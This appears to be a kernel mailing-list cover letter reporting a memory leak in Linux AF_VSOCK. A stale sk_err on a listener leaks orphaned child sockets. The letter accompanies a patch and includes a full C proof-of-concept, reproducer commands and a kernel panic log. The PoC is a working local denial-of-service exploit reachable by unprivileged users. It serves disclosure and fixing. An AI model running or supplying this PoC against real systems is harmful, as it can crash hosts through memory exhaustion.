From: Zihan Xi <[email protected]>

Hi Linux kernel maintainers,

We found and validated an issue in net/vmw_vsock/af_vsock.c. The bug is
reachable by an unprivileged local user via AF_VSOCK loopback. We've
tested it, and it should not affect any other functionality.

This series contains one patch:
  1/1 vsock: clear stale sk_err before listen()

We provide bug details, reproducer steps, and a crash log below.

---- details below ----

Bug details:

A failed loopback connect() can leave sk_err set on a reusable AF_VSOCK
socket. If userspace then calls listen() on the same socket, the stale
error remains attached to the listener. A later child can still reach the
accept queue, but vsock_accept() sees listener->sk_err, rejects the
child, and drops only the transient accept reference.

On the virtio loopback path that rejected child can remain orphaned in the
vsock tables, so repeated iterations leak children and can eventually
push the guest into OOM. Clearing sk_err in vsock_listen() prevents a
failed connect() attempt from poisoning the next listener incarnation of
that socket.

On our fixed-kernel validation, the same minimal reproducer no longer hit
that failed accept path and accept() returned a valid child socket.

Reproducer:

    cc -O2 -Wall -Wextra -pthread -o /root/poc /root/poc.c
    echo 2 > /proc/sys/vm/panic_on_oom
    echo 1 > /proc/sys/vm/oom_dump_tasks
    /root/poc 100 44000 54000 33554432 33554432 600

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/vm_sockets.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define DEFAULT_BASE_PORT 40000U
#define DEFAULT_FAIL_PORT 50000U
#define DEFAULT_BUFFER_SIZE (32ULL * 1024 * 1024)
#define DEFAULT_SEND_BYTES (32ULL * 1024 * 1024)
#define DEFAULT_ITERATIONS 1U

struct client_ctx {
        pthread_mutex_t lock;
        pthread_cond_t cond;
        unsigned int server_port;
        unsigned int client_port;
        unsigned long long send_bytes;
        unsigned long long bytes_sent;
        int connect_errno;
        int send_errno;
        int sent_any;
        int connected;
        int done;
        int fd;
};

static void die(const char *msg)
{
        perror(msg);
        exit(EXIT_FAILURE);
}

static void set_vsock_u64(int fd, int optname, unsigned long long val)
{
        if (setsockopt(fd, AF_VSOCK, optname, &val, sizeof(val)) < 0)
                die("setsockopt(AF_VSOCK)");
}

static void set_connect_timeout(int fd, long sec)
{
        struct timeval tv = {
                .tv_sec = sec,
                .tv_usec = 0,
        };

        if (setsockopt(fd, AF_VSOCK, SO_VM_SOCKETS_CONNECT_TIMEOUT,
                       &tv, sizeof(tv)) < 0) {
                die("setsockopt(SO_VM_SOCKETS_CONNECT_TIMEOUT)");
        }
}

static void bind_vsock(int fd, unsigned int cid, unsigned int port)
{
        struct sockaddr_vm svm = {
                .svm_family = AF_VSOCK,
                .svm_cid = cid,
                .svm_port = port,
        };

        if (bind(fd, (struct sockaddr *)&svm, sizeof(svm)) < 0)
                die("bind(AF_VSOCK)");
}

static int connect_vsock_errno(int fd, unsigned int cid, unsigned int port)
{
        struct sockaddr_vm svm = {
                .svm_family = AF_VSOCK,
                .svm_cid = cid,
                .svm_port = port,
        };

        if (connect(fd, (struct sockaddr *)&svm, sizeof(svm)) == 0)
                return 0;

        return errno;
}

static void *client_thread(void *arg)
{
        struct client_ctx *ctx = arg;
        char *buf;
        unsigned long long sent = 0;
        const size_t chunk = 64 * 1024;
        int fd;
        int err;

        fd = socket(AF_VSOCK, SOCK_STREAM, 0);
        if (fd < 0)
                die("client socket(AF_VSOCK)");

        set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_MAX_SIZE, ctx->send_bytes);
        set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_SIZE, ctx->send_bytes);
        bind_vsock(fd, VMADDR_CID_LOCAL, ctx->client_port);

        err = connect_vsock_errno(fd, VMADDR_CID_LOCAL, ctx->server_port);

        pthread_mutex_lock(&ctx->lock);
        ctx->fd = fd;
        ctx->connect_errno = err;
        ctx->connected = (err == 0);
        pthread_cond_broadcast(&ctx->cond);
        pthread_mutex_unlock(&ctx->lock);

        if (err)
                return NULL;

        buf = malloc(chunk);
        if (!buf)
                die("malloc");
        memset(buf, 'A', chunk);

        while (sent < ctx->send_bytes) {
                size_t todo = chunk;
                ssize_t rc;

                if (ctx->send_bytes - sent < todo)
                        todo = ctx->send_bytes - sent;

                rc = send(fd, buf, todo, 0);
                if (rc < 0) {
                        pthread_mutex_lock(&ctx->lock);
                        ctx->send_errno = errno;
                        pthread_mutex_unlock(&ctx->lock);
                        break;
                }

                if (rc == 0)
                        break;

                sent += rc;
                pthread_mutex_lock(&ctx->lock);
                ctx->sent_any = 1;
                ctx->bytes_sent = sent;
                pthread_cond_broadcast(&ctx->cond);
                pthread_mutex_unlock(&ctx->lock);
        }

        free(buf);

        pthread_mutex_lock(&ctx->lock);
        ctx->done = 1;
        pthread_cond_broadcast(&ctx->cond);
        pthread_mutex_unlock(&ctx->lock);

        return NULL;
}

static void client_ctx_init(struct client_ctx *ctx, unsigned int server_port,
                            unsigned int client_port,
                            unsigned long long send_bytes)
{
        memset(ctx, 0, sizeof(*ctx));
        pthread_mutex_init(&ctx->lock, NULL);
        pthread_cond_init(&ctx->cond, NULL);
        ctx->server_port = server_port;
        ctx->client_port = client_port;
        ctx->send_bytes = send_bytes;
        ctx->fd = -1;
}

static void client_ctx_destroy(struct client_ctx *ctx)
{
        pthread_mutex_destroy(&ctx->lock);
        pthread_cond_destroy(&ctx->cond);
}

static int wait_for_connect(struct client_ctx *ctx)
{
        int err;

        pthread_mutex_lock(&ctx->lock);
        while (!ctx->connected && ctx->connect_errno == 0)
                pthread_cond_wait(&ctx->cond, &ctx->lock);
        err = ctx->connect_errno;
        pthread_mutex_unlock(&ctx->lock);

        return err;
}

static void wait_for_send_progress(struct client_ctx *ctx)
{
        struct timespec ts;

        clock_gettime(CLOCK_REALTIME, &ts);
        ts.tv_sec += 2;
        if (ts.tv_nsec >= 1000000000L) {
                ts.tv_sec += 1;
                ts.tv_nsec -= 1000000000L;
        }

        pthread_mutex_lock(&ctx->lock);
        if (!ctx->done)
                pthread_cond_timedwait(&ctx->cond, &ctx->lock, &ts);
        pthread_mutex_unlock(&ctx->lock);
}

static int prepare_listener(unsigned int server_port, unsigned int fail_port,
                            unsigned long long buffer_size)
{
        int fd;
        int err;

        fd = socket(AF_VSOCK, SOCK_STREAM, 0);
        if (fd < 0)
                die("listener socket(AF_VSOCK)");

        set_connect_timeout(fd, 1);
        set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_MAX_SIZE, buffer_size);
        set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_SIZE, buffer_size);
        bind_vsock(fd, VMADDR_CID_LOCAL, server_port);

        err = connect_vsock_errno(fd, VMADDR_CID_LOCAL, fail_port);
        if (err == 0) {
                fprintf(stderr, "unexpected successful failed-connect setup on 
port %u\n",
                        fail_port);
                exit(EXIT_FAILURE);
        }

        fprintf(stderr, "[*] setup connect() failed with errno=%d (%s)\n",
                err, strerror(err));

        if (listen(fd, 1) < 0)
                die("listen(AF_VSOCK)");

        return fd;
}

static int trigger_once(unsigned int server_port, unsigned int fail_port,
                        unsigned int client_port,
                        unsigned long long buffer_size,
                        unsigned long long send_bytes)
{
        struct client_ctx ctx;
        pthread_t tid;
        int listener_fd;
        int accept_fd;
        int accept_errno;

        listener_fd = prepare_listener(server_port, fail_port, buffer_size);

        client_ctx_init(&ctx, server_port, client_port, send_bytes);
        if (pthread_create(&tid, NULL, client_thread, &ctx) != 0)
                die("pthread_create");

        if (wait_for_connect(&ctx) != 0) {
                fprintf(stderr, "client connect failed with errno=%d (%s)\n",
                        ctx.connect_errno, strerror(ctx.connect_errno));
                exit(EXIT_FAILURE);
        }

        wait_for_send_progress(&ctx);

        accept_fd = accept(listener_fd, NULL, NULL);
        accept_errno = errno;

        fprintf(stderr, "[*] accept() returned fd=%d errno=%d (%s)\n",
                accept_fd, accept_errno, strerror(accept_errno));

        if (accept_fd >= 0) {
                fprintf(stderr, "unexpected successful accept()\n");
                exit(EXIT_FAILURE);
        }

        if (accept_errno != ECONNRESET) {
                fprintf(stderr, "unexpected accept errno: %d (%s)\n",
                        accept_errno, strerror(accept_errno));
                exit(EXIT_FAILURE);
        }

        close(listener_fd);

        pthread_join(tid, NULL);

        fprintf(stderr,
                "[*] client connect errno=%d send errno=%d bytes_sent=%llu 
sent_any=%d done=%d\n",
                ctx.connect_errno, ctx.send_errno, ctx.bytes_sent,
                ctx.sent_any, ctx.done);
        accept_fd = ctx.fd;
        ctx.fd = -1;
        client_ctx_destroy(&ctx);
        return accept_fd;
}

static unsigned int parse_u32(const char *s)
{
        unsigned long long v = strtoull(s, NULL, 0);

        if (v > UINT32_MAX) {
                fprintf(stderr, "value too large: %s\n", s);
                exit(EXIT_FAILURE);
        }

        return (unsigned int)v;
}

static unsigned long long parse_u64(const char *s)
{
        return strtoull(s, NULL, 0);
}

int main(int argc, char **argv)
{
        unsigned int iterations = DEFAULT_ITERATIONS;
        unsigned int base_port = DEFAULT_BASE_PORT;
        unsigned int fail_base = DEFAULT_FAIL_PORT;
        unsigned long long buffer_size = DEFAULT_BUFFER_SIZE;
        unsigned long long send_bytes = DEFAULT_SEND_BYTES;
        unsigned int hold_seconds = 0;
        int *held_fds;
        unsigned int i;

        signal(SIGPIPE, SIG_IGN);

        if (argc > 1)
                iterations = parse_u32(argv[1]);
        if (argc > 2)
                base_port = parse_u32(argv[2]);
        if (argc > 3)
                fail_base = parse_u32(argv[3]);
        if (argc > 4)
                buffer_size = parse_u64(argv[4]);
        if (argc > 5)
                send_bytes = parse_u64(argv[5]);
        if (argc > 6)
                hold_seconds = parse_u32(argv[6]);

        held_fds = calloc(iterations, sizeof(*held_fds));
        if (!held_fds)
                die("calloc");

        for (i = 0; i < iterations; i++)
                held_fds[i] = -1;

        fprintf(stderr,
                "[*] iterations=%u base_port=%u fail_base=%u buffer_size=%llu 
send_bytes=%llu hold_seconds=%u\n",
                iterations, base_port, fail_base, buffer_size, send_bytes,
                hold_seconds);

        for (i = 0; i < iterations; i++) {
                unsigned int server_port = base_port + (i * 2);
                unsigned int client_port = base_port + (i * 2) + 1;
                unsigned int fail_port = fail_base + i;

                fprintf(stderr,
                        "[*] iteration=%u server_port=%u client_port=%u 
fail_port=%u\n",
                        i, server_port, client_port, fail_port);
                held_fds[i] = trigger_once(server_port, fail_port, client_port,
                                           buffer_size, send_bytes);
                fprintf(stderr, "[*] holding client fd=%d\n", held_fds[i]);
        }

        if (hold_seconds) {
                fprintf(stderr, "[*] sleeping for %u seconds with client 
sockets open\n",
                        hold_seconds);
                sleep(hold_seconds);
        }

        for (i = 0; i < iterations; i++) {
                if (held_fds[i] >= 0)
                        close(held_fds[i]);
        }

        free(held_fds);

        return 0;
}

------END poc.c--------

----BEGIN crash log----

[  921.941962][T10458] Kernel panic - not syncing: Out of memory: compulsory 
panic_on_oom is enabled
[  921.942839][T10458] CPU: 0 UID: 0 PID: 10458 Comm: poc Not tainted 6.12.74 #3
[  921.943455][T10458] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 
1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  921.944405][T10458] Call Trace:
[  921.944701][T10458]  <TASK>
[  921.944974][T10458]  dump_stack_lvl+0x3b/0x1f0
[  921.945423][T10458]  panic+0x6fe/0x7e0
[  921.945802][T10458]  ? dump_header+0x6c2/0x950
[  921.946233][T10458]  ? __pfx_panic+0x10/0x10
[  921.947686][T10458]  ? out_of_memory+0x8c5/0x16b0
[  921.948137][T10458]  out_of_memory+0x8f3/0x16b0
[  921.949926][T10458]  __alloc_pages_noprof+0x1ec3/0x26d0
[  921.954378][T10458]  alloc_pages_mpol_noprof+0x2ce/0x610
[  921.956796][T10458]  folio_alloc_noprof+0x23/0xd0
[  921.957720][T10458]  filemap_alloc_folio_noprof+0x35d/0x420
[  921.959719][T10458]  filemap_fault+0x675/0x2800
[  921.962920][T10458]  do_pte_missing+0x174c/0x3ff0
[  921.964830][T10458]  __handle_mm_fault+0xfa3/0x2a10
[  921.967730][T10458]  handle_mm_fault+0x3f5/0xa00
[  921.968200][T10458]  do_user_addr_fault+0x50a/0x1490
[  921.968691][T10458]  exc_page_fault+0x5d/0xe0
[  921.969113][T10458]  asm_exc_page_fault+0x26/0x30
[  921.969561][T10458] RIP: 0033:0x7f47a09b2237
[  921.969990][T10458] Code: Unable to access opcode bytes at 0x7f47a09b220d.
[  921.970550][T10458] RSP: 002b:00007f47a089be60 EFLAGS: 00010202
[  921.971073][T10458] RAX: 0000000000010000 RBX: 00007ffe78934c80 RCX: 
00007f47a0942c8e
[  921.972372][T10458] RDX: 000000000000002c RSI: 0000000000000000 RDI: 
0000000000000016
[  921.973017][T10458] RBP: 0000000001800000 R08: 0000000000000000 R09: 
0000000000000000
[  921.974428][T10458]  </TASK>
[  921.974959][T10458] Kernel Offset: disabled
[  921.975445][T10458] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  vsock: clear stale sk_err before listen()

 net/vmw_vsock/af_vsock.c | 4 ++++
 1 file changed, 4 insertions(+)

-- 
2.43.0

Reply via email to